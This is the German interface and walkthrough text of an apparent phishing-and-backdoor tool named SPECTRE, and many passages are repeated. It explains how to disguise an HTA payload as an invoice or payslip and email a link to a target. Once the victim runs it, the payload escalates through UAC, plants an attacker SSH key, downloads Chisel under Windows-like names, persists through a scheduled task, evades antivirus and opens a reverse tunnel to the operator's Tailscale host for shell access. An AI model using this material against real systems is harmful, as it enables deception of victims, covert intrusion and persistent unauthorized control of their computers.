BACKDOOR — REVERSE TUNNEL
Ziel-Payload erstellen
1
VORLAGE & PAYLOAD KONFIGURIEREN
LOGO
Kein Logo — Firmenname wird als Text angezeigt
RECHNUNG BEARBEITEN ▼
Wird in die Payload eingebettet und im Browser des Ziels angezeigt. Der Tarndateiname wird automatisch aus der Rechnungsnummer befüllt.
ABSENDER
EMPFÄNGER
RECHNUNGSDATEN
POSITIONEN
BESCHREIBUNGMENGEEINZELPREIS €
SUMMEN (automatisch berechnet)
UNTERZEICHNER
BANKDATEN & FIRMENDATEN
Windows zeigt nur [Name] — Erweiterung ausgeblendet
HTA: UAC + OpenSSH Server, Admin-Zugang
Wartezeit vor Verbindung
Einmalig
Löscht sich nach Verbindung
RELAY URL & ERWEITERT ▼
Öffentliche HTTPS-URL — nur ändern wenn Funnel-Domain wechselt
2
E-MAIL VERSENDENNach dem Generieren wird der Text automatisch befüllt — Betreff und Text kopieren, in Gmail einfügen, fertig.
BETREFF (klicken → Strg+A → Strg+C)
E-MAIL TEXT
Erst Payload generieren — dann erscheint hier der fertige E-Mail-Text.
SO FUNKTIONIERT ES — SCHRITT FÜR SCHRITT ▼
1
Payload generieren
Die Relay-URL ist bereits vorausgefüllt — das ist die öffentliche Adresse dieses Rechners (Neo) im Internet, bereitgestellt über Tailscale Funnel. Du musst hier nichts ändern. Klicke einfach auf PAYLOAD GENERIEREN.
SPECTRE erstellt dabei einen kryptografischen Attacker-Schlüssel, der in die Angriffsdatei eingebettet wird. Mit diesem Schlüssel loggst du dich später ohne Passwort auf dem Zielrechner ein. Außerdem wird ein automatisch zugewiesener Port-Block vergeben — jeder Payload reserviert 10 Ports. Öffnen mehrere Rechner dieselbe Datei, berechnet jeder Rechner seinen individuellen Sub-Port aus dem eigenen Hostnamen, sodass keine Konflikte entstehen.
Optionen:
Verzögerung — Wartezeit vor dem Verbindungsaufbau. Für HTA: 0 empfohlen — der UAC-Dialog erscheint sofort während das Dokument sichtbar ist (wirkt natürlich). Bei Verzögerung > 0 erscheint ein UAC-Prompt Minuten später aus dem Nichts, was misstrauisch wirkt und oft abgelehnt wird.
One-Shot — Aktiviert den Selbstlösch-Modus: Nach der ersten stabilen Verbindung (über 15 Sekunden) löscht sich der Tunnel-Mechanismus vollständig selbst. Scheduled Task wird deregistriert, Chisel-Binary und Script werden entfernt. Der SSH-Zugang bleibt jedoch erhalten.
SPECTRE erstellt dabei einen kryptografischen Attacker-Schlüssel, der in die Angriffsdatei eingebettet wird. Mit diesem Schlüssel loggst du dich später ohne Passwort auf dem Zielrechner ein. Außerdem wird ein automatisch zugewiesener Port-Block vergeben — jeder Payload reserviert 10 Ports. Öffnen mehrere Rechner dieselbe Datei, berechnet jeder Rechner seinen individuellen Sub-Port aus dem eigenen Hostnamen, sodass keine Konflikte entstehen.
Optionen:
Verzögerung — Wartezeit vor dem Verbindungsaufbau. Für HTA: 0 empfohlen — der UAC-Dialog erscheint sofort während das Dokument sichtbar ist (wirkt natürlich). Bei Verzögerung > 0 erscheint ein UAC-Prompt Minuten später aus dem Nichts, was misstrauisch wirkt und oft abgelehnt wird.
One-Shot — Aktiviert den Selbstlösch-Modus: Nach der ersten stabilen Verbindung (über 15 Sekunden) löscht sich der Tunnel-Mechanismus vollständig selbst. Scheduled Task wird deregistriert, Chisel-Binary und Script werden entfernt. Der SSH-Zugang bleibt jedoch erhalten.
2
Link kopieren und E-Mail versenden
Nach dem Generieren erscheint ein LINK-Button beim Payload-Eintrag. Klicke darauf — die URL wird in die Zwischenablage kopiert.
Öffne die E-MAIL VORLAGE weiter unten: dort ist bereits ein fertiger E-Mail-Text mit eingebettetem Link vorbereitet — Betreff kopieren, Text kopieren, in Gmail einfügen und senden. Kein Anhang, kein Dateifilter.
Was sieht der Empfänger? Eine normale E-Mail mit einem Link, z.B. "Das Dokument können Sie hier abrufen". Kein verdächtiger Dateiname, keine Warnmeldung im Postfach.
Hinweis Format: HTA (empfohlen) — funktioniert auf allen Windows-Versionen, ein einziger "Ausführen"-Klick beim Öffnen der Datei. ISO + LNK — nur sinnvoll wenn SmartScreen auf dem Zielrechner deaktiviert ist (z.B. per Gruppenrichtlinie im Lab).
Öffne die E-MAIL VORLAGE weiter unten: dort ist bereits ein fertiger E-Mail-Text mit eingebettetem Link vorbereitet — Betreff kopieren, Text kopieren, in Gmail einfügen und senden. Kein Anhang, kein Dateifilter.
Was sieht der Empfänger? Eine normale E-Mail mit einem Link, z.B. "Das Dokument können Sie hier abrufen". Kein verdächtiger Dateiname, keine Warnmeldung im Postfach.
Hinweis Format: HTA (empfohlen) — funktioniert auf allen Windows-Versionen, ein einziger "Ausführen"-Klick beim Öffnen der Datei. ISO + LNK — nur sinnvoll wenn SmartScreen auf dem Zielrechner deaktiviert ist (z.B. per Gruppenrichtlinie im Lab).
3
Ziel klickt den Link — was passiert?
1. Landing-Page öffnet sich im Browser des Ziels — Design passend zur gewählten Vorlage (IT-Portal, HR-Seite, usw.). Der Download startet automatisch nach 1 Sekunde.
2. Ziel öffnet die heruntergeladene HTA-Datei — Windows zeigt Dialog 1: "Möchten Sie diese Datei ausführen?" → Ausführen. Danach erscheint Dialog 2: UAC-Prompt — Windows fragt ob PowerShell Änderungen vornehmen darf → Ja. Insgesamt zwei Klicks, dann ist alles erledigt.
3. Dokument erscheint — das Ziel sieht das konfigurierte Dokument (Rechnung, IT-Bestätigung, Gehaltsabrechnung, …) und denkt, es habe sich normal geöffnet.
4. Im Hintergrund (unsichtbar) läuft mit Admin-Rechten:
· OpenSSH-Server wird installiert und gestartet
· Firewall-Regeln für Port 22 und 2222 werden gesetzt
· SSH-Key wird in C:\ProgramData\ssh\administrators_authorized_keys eingetragen
· Chisel wird heruntergeladen — der Dateiname ist je Payload unterschiedlich (z.B. WmiPrvSE.exe, RuntimeBroker.exe)
· Scheduled Task mit zufälligem Windows-Namen (WindowsDefender, WinSatMonitor, …) wird registriert
· Beacon wird sofort an SPECTRE gesendet — Hostname erscheint amber in der Payload-Zeile
· Chisel baut den Reverse-Tunnel auf — Beacon wird grün, SSH-Befehl erscheint
· Die HTA-Datei löscht sich selbst (8s Verzögerung nach Ausführung)
2. Ziel öffnet die heruntergeladene HTA-Datei — Windows zeigt Dialog 1: "Möchten Sie diese Datei ausführen?" → Ausführen. Danach erscheint Dialog 2: UAC-Prompt — Windows fragt ob PowerShell Änderungen vornehmen darf → Ja. Insgesamt zwei Klicks, dann ist alles erledigt.
3. Dokument erscheint — das Ziel sieht das konfigurierte Dokument (Rechnung, IT-Bestätigung, Gehaltsabrechnung, …) und denkt, es habe sich normal geöffnet.
4. Im Hintergrund (unsichtbar) läuft mit Admin-Rechten:
· OpenSSH-Server wird installiert und gestartet
· Firewall-Regeln für Port 22 und 2222 werden gesetzt
· SSH-Key wird in C:\ProgramData\ssh\administrators_authorized_keys eingetragen
· Chisel wird heruntergeladen — der Dateiname ist je Payload unterschiedlich (z.B. WmiPrvSE.exe, RuntimeBroker.exe)
· Scheduled Task mit zufälligem Windows-Namen (WindowsDefender, WinSatMonitor, …) wird registriert
· Beacon wird sofort an SPECTRE gesendet — Hostname erscheint amber in der Payload-Zeile
· Chisel baut den Reverse-Tunnel auf — Beacon wird grün, SSH-Befehl erscheint
· Die HTA-Datei löscht sich selbst (8s Verzögerung nach Ausführung)
4
Verbindung erscheint hier — grüner Punkt
Diese Seite prüft alle 4 Sekunden alle aktiven Tunnel-Ports. Sobald ein Ziel sich verbunden hat, leuchtet der Punkt grün. Sind mehrere Rechner über denselben Payload verbunden, wird jede Maschine als eigene Zeile angezeigt — mit eigenem SSH-Befehl und eigenem Port.
Hostname-Erkennung: SPECTRE versucht nach dem ersten Verbindungsaufbau automatisch per SSH den Hostnamen des Zielrechners abzufragen. Gelingt das, erscheint der Rechnername grün über dem SSH-Befehl und wird dauerhaft gespeichert — auch nach einem Seiten-Reload.
Den SSH-Befehl kannst du direkt anklicken — er wird automatisch in die Zwischenablage kopiert.
Hostname-Erkennung: SPECTRE versucht nach dem ersten Verbindungsaufbau automatisch per SSH den Hostnamen des Zielrechners abzufragen. Gelingt das, erscheint der Rechnername grün über dem SSH-Befehl und wird dauerhaft gespeichert — auch nach einem Seiten-Reload.
Den SSH-Befehl kannst du direkt anklicken — er wird automatisch in die Zwischenablage kopiert.
5
SSH-Befehl ausführen — du bist drin
Den kopierten Befehl führst du in einem Terminal auf diesem Rechner (Neo) aus. Er sieht ungefähr so aus:
ssh -i /mnt/llm/spectre/loot/payload/attacker_ed25519 -p [TUNNEL-PORT] -o StrictHostKeyChecking=no localhost
Was bedeutet das? Du verbindest dich mit localhost (also dir selbst) auf Port 2222 — und dieser Port ist durch den Chisel-Tunnel direkt mit dem SSH-Port des Zielrechners verbunden. Das Ziel muss keine eingehenden Verbindungen akzeptieren und braucht keine öffentliche IP.
Das Ergebnis: du bekommst eine vollständige Kommandozeile (Shell) auf dem Zielrechner — du kannst Dateien lesen, Programme starten, alles was der Benutzer dort kann.
ssh -i /mnt/llm/spectre/loot/payload/attacker_ed25519 -p [TUNNEL-PORT] -o StrictHostKeyChecking=no localhost
Was bedeutet das? Du verbindest dich mit localhost (also dir selbst) auf Port 2222 — und dieser Port ist durch den Chisel-Tunnel direkt mit dem SSH-Port des Zielrechners verbunden. Das Ziel muss keine eingehenden Verbindungen akzeptieren und braucht keine öffentliche IP.
Das Ergebnis: du bekommst eine vollständige Kommandozeile (Shell) auf dem Zielrechner — du kannst Dateien lesen, Programme starten, alles was der Benutzer dort kann.
Warum Reverse-Tunnel? Normalerweise blockieren Router und Firewalls eingehende Verbindungen von außen — du kannst einen fremden Rechner also nicht direkt anschreiben. Beim Reverse-Tunnel dreht sich das um: das Ziel ruft dich an, nicht umgekehrt. Ausgehende Verbindungen über HTTPS (Port 443) sind praktisch überall erlaubt. Dadurch funktioniert der Zugang auch hinter NAT, Firewalls, 5G und Firmennetzen — ohne jede Konfiguration am Ziel-Router.
HÄUFIGE FRAGEN (FAQ) ▼
Muss ich im gleichen Netzwerk sein wie das Ziel?
Nein — und zwar komplett unabhängig von deinem Router oder Internetanbieter. Der Tunnel läuft ausschließlich über das Internet via HTTPS (Port 443). Weder du noch das Ziel brauchen eine öffentliche IP-Adresse, Port-Forwarding oder eine besondere Router-Konfiguration. Neo ist über Tailscale Funnel dauerhaft öffentlich erreichbar.
Was ist, wenn Port 22 am Zielrechner blockiert ist?
Es gibt zwei Blockier-Szenarien — beide sind abgedeckt:
Szenario A — SSH-Port des Ziels noch nicht aktiv: Unmittelbar nach der Installation des SSH-Servers prüft der Payload automatisch, ob Port 22 bereits lauscht. Falls nicht, wird Port 2222 als Fallback genutzt. Der SSH-Server wird außerdem so konfiguriert, dass er auf beiden Ports lauscht.
Szenario B — Ausgehender SSH-Port 22 im Netzwerk gesperrt: Kein Problem — der Chisel-Tunnel läuft ausschließlich über HTTPS (Port 443). Port 443 ist ausgehend in praktisch jedem Netzwerk erlaubt, da er für normales Surfen verwendet wird. Kein Firmennetz kann ihn sperren, ohne das gesamte Internet zu blockieren.
Szenario A — SSH-Port des Ziels noch nicht aktiv: Unmittelbar nach der Installation des SSH-Servers prüft der Payload automatisch, ob Port 22 bereits lauscht. Falls nicht, wird Port 2222 als Fallback genutzt. Der SSH-Server wird außerdem so konfiguriert, dass er auf beiden Ports lauscht.
Szenario B — Ausgehender SSH-Port 22 im Netzwerk gesperrt: Kein Problem — der Chisel-Tunnel läuft ausschließlich über HTTPS (Port 443). Port 443 ist ausgehend in praktisch jedem Netzwerk erlaubt, da er für normales Surfen verwendet wird. Kein Firmennetz kann ihn sperren, ohne das gesamte Internet zu blockieren.
Spielt es eine Rolle, was im Router des Ziels eingestellt ist?
Nein — der Router des Ziels ist vollkommen egal. Chisel baut eine ausgehende HTTPS-Verbindung auf — das ist für jeden Router genauso normal wie wenn jemand eine Webseite aufruft. Kein Port-Forwarding, keine Ausnahme, keine Konfiguration am Ziel-Router nötig. Auch dein eigener Router (inkl. CG-NAT wie bei Vodafone Gigacube) ist völlig irrelevant.
Muss auf dem Zielrechner etwas installiert werden?
Es gibt keinen klassischen Installations-Assistenten. Folgendes wird jedoch eingerichtet:
Einmalig sichtbar: Beim Öffnen der heruntergeladenen Datei erscheint ein Windows-Dialog "Möchten Sie diese Datei ausführen?" — ein Klick auf Ausführen genügt. Kein Admin, kein UAC.
Dateien die abgelegt werden: Chisel-Binary und Loop-Script — die Dateinamen sind pro Payload dynamisch und klingen wie Windows-Systemprozesse (z.B. WmiPrvSE.exe, RuntimeBroker.ps1).
Systemänderungen: SSH-Key wird in C:\ProgramData\ssh\administrators_authorized_keys eingetragen. Ein dynamisch benannter Scheduled Task (z.B. WindowsDefender, WinSatMonitor) startet den Tunnel bei jedem Login automatisch — ohne Adminrechte (RunLevel Limited).
Einmalig sichtbar: Beim Öffnen der heruntergeladenen Datei erscheint ein Windows-Dialog "Möchten Sie diese Datei ausführen?" — ein Klick auf Ausführen genügt. Kein Admin, kein UAC.
Dateien die abgelegt werden: Chisel-Binary und Loop-Script — die Dateinamen sind pro Payload dynamisch und klingen wie Windows-Systemprozesse (z.B. WmiPrvSE.exe, RuntimeBroker.ps1).
Systemänderungen: SSH-Key wird in C:\ProgramData\ssh\administrators_authorized_keys eingetragen. Ein dynamisch benannter Scheduled Task (z.B. WindowsDefender, WinSatMonitor) startet den Tunnel bei jedem Login automatisch — ohne Adminrechte (RunLevel Limited).
Hat das Ziel durch die Verbindung Zugriff auf meinen Rechner?
Nein. Der Chisel-Tunnel ist eine rein ausgehende Verbindung vom Ziel zu Neo. Das Ziel kann über diesen Tunnel ausschließlich seinen eigenen zugewiesenen Tunnel-Port auf Neo öffnen — und dahinter liegt der SSH-Port des Ziels selbst. Das Ziel hat keinerlei Zugriff auf Dateien, Dienste oder andere Ports von Neo. Der Tunnel ist eine Einbahnstraße.
Was macht der One-Shot-Modus genau?
Im One-Shot-Modus misst das Loop-Script auf dem Zielrechner wie lange Chisel aktiv war. Sobald die Verbindung länger als 15 Sekunden bestand — also eine echte, stabile Verbindung war — löscht sich der Tunnel-Mechanismus vollständig selbst:
1. Der dynamisch benannte Scheduled Task (z.B. WindowsDefender) wird aus dem Windows-Aufgabenplaner entfernt
2. Die Chisel-Binary (z.B. WmiPrvSE.exe) wird gelöscht
3. Das Loop-Script (z.B. WindowsDefender.ps1) wird gelöscht
Die konkreten Datei- und Task-Namen variieren pro Payload — den Cleanup-Befehl mit den exakten Namen für ein bestimmtes Ziel liefert der CLEANUP-Button.
Was bleibt: Dein Attacker-Schlüssel bleibt in C:\ProgramData\ssh\administrators_authorized_keys eingetragen — du kannst dich weiterhin direkt per SSH einloggen. Nur der automatische Reconnect nach Neustart entfällt.
Wann sinnvoll: Wenn du nur einmal kurz rein willst und danach möglichst wenig Spuren hinterlassen möchtest.
1. Der dynamisch benannte Scheduled Task (z.B. WindowsDefender) wird aus dem Windows-Aufgabenplaner entfernt
2. Die Chisel-Binary (z.B. WmiPrvSE.exe) wird gelöscht
3. Das Loop-Script (z.B. WindowsDefender.ps1) wird gelöscht
Die konkreten Datei- und Task-Namen variieren pro Payload — den Cleanup-Befehl mit den exakten Namen für ein bestimmtes Ziel liefert der CLEANUP-Button.
Was bleibt: Dein Attacker-Schlüssel bleibt in C:\ProgramData\ssh\administrators_authorized_keys eingetragen — du kannst dich weiterhin direkt per SSH einloggen. Nur der automatische Reconnect nach Neustart entfällt.
Wann sinnvoll: Wenn du nur einmal kurz rein willst und danach möglichst wenig Spuren hinterlassen möchtest.
Wie erkenne ich welcher Rechner hinter welchem Port steckt?
SPECTRE nutzt zwei Mechanismen:
Beacon (sofort nach Payload-Ausführung): Das Payload sendet direkt nach der Installation einen Beacon an SPECTRE — noch bevor Chisel den Tunnel aufgebaut hat. Der Hostname erscheint dann amber in der Payload-Zeile mit dem Hinweis "Tunnel baut auf…". Das ist nützlich bei Verzögerung > 0 oder wenn der Tunnel nicht sofort zustande kommt.
SSH-Abfrage (nach Tunnel-Aufbau): Sobald ein Tunnel-Port aktiv wird, fragt SPECTRE per SSH den Hostnamen ab. Der Rechnername erscheint dann grün. Bei mehreren Rechnern über denselben Payload erscheint jeder als eigene Zeile.
Beacon (sofort nach Payload-Ausführung): Das Payload sendet direkt nach der Installation einen Beacon an SPECTRE — noch bevor Chisel den Tunnel aufgebaut hat. Der Hostname erscheint dann amber in der Payload-Zeile mit dem Hinweis "Tunnel baut auf…". Das ist nützlich bei Verzögerung > 0 oder wenn der Tunnel nicht sofort zustande kommt.
SSH-Abfrage (nach Tunnel-Aufbau): Sobald ein Tunnel-Port aktiv wird, fragt SPECTRE per SSH den Hostnamen ab. Der Rechnername erscheint dann grün. Bei mehreren Rechnern über denselben Payload erscheint jeder als eigene Zeile.
Warum haben die Dateien auf dem Zielrechner andere Namen als erwartet?
SPECTRE obfuskiert die auf dem Ziel hinterlassenen Dateien pro Payload automatisch:
Binary-Name: Statt svc_net.exe werden legitim klingende Windows-Prozessnamen verwendet — z.B. WmiPrvSE.exe, RuntimeBroker.exe oder SearchIndexer.exe. Der Name ist fest pro Port-Block (gleiches Payload = immer gleicher Name).
Script-Name: Das Loop-Script heißt entsprechend z.B. WindowsDefender.ps1 statt svc_loop.ps1.
Scheduled Task: Der Task-Name variiert ebenfalls — z.B. WinSatMonitor oder CompatTelRunner.
URL: Die Funnel-URL ist im Loop-Script (das auf dem Ziel gespeichert wird) gesplittet — "https://serviceportal" + ".tail295d24.ts.net" — damit sie nicht als einzelner String in Logs oder AV-Scans auftaucht.
Welche Namen für einen bestimmten Port gelten, siehst du im generierten Cleanup-Script (CLEANUP-Button).
Binary-Name: Statt svc_net.exe werden legitim klingende Windows-Prozessnamen verwendet — z.B. WmiPrvSE.exe, RuntimeBroker.exe oder SearchIndexer.exe. Der Name ist fest pro Port-Block (gleiches Payload = immer gleicher Name).
Script-Name: Das Loop-Script heißt entsprechend z.B. WindowsDefender.ps1 statt svc_loop.ps1.
Scheduled Task: Der Task-Name variiert ebenfalls — z.B. WinSatMonitor oder CompatTelRunner.
URL: Die Funnel-URL ist im Loop-Script (das auf dem Ziel gespeichert wird) gesplittet — "https://serviceportal" + ".tail295d24.ts.net" — damit sie nicht als einzelner String in Logs oder AV-Scans auftaucht.
Welche Namen für einen bestimmten Port gelten, siehst du im generierten Cleanup-Script (CLEANUP-Button).
Wie entferne ich alle Spuren nach einem Test?
Jede Payload-Zeile hat einen roten CLEANUP-Button. Ein Klick lädt ein fertig konfiguriertes PowerShell-Script herunter, das auf dem Zielrechner ausgeführt wird und folgendes entfernt:
1. Chisel-Prozess stoppen
2. Scheduled Task aus dem Aufgabenplaner löschen
3. Binary + Loop-Script löschen
4. Attacker-SSH-Key aus authorized_keys entfernen
5. (HTA only) Firewall-Regeln für sshd-22 und sshd-2222 entfernen
Das Script ist bereits mit den korrekten Datei- und Task-Namen für diesen Payload generiert — du musst nichts anpassen. Einfach auf dem Zielrechner als Admin ausführen.
1. Chisel-Prozess stoppen
2. Scheduled Task aus dem Aufgabenplaner löschen
3. Binary + Loop-Script löschen
4. Attacker-SSH-Key aus authorized_keys entfernen
5. (HTA only) Firewall-Regeln für sshd-22 und sshd-2222 entfernen
Das Script ist bereits mit den korrekten Datei- und Task-Namen für diesen Payload generiert — du musst nichts anpassen. Einfach auf dem Zielrechner als Admin ausführen.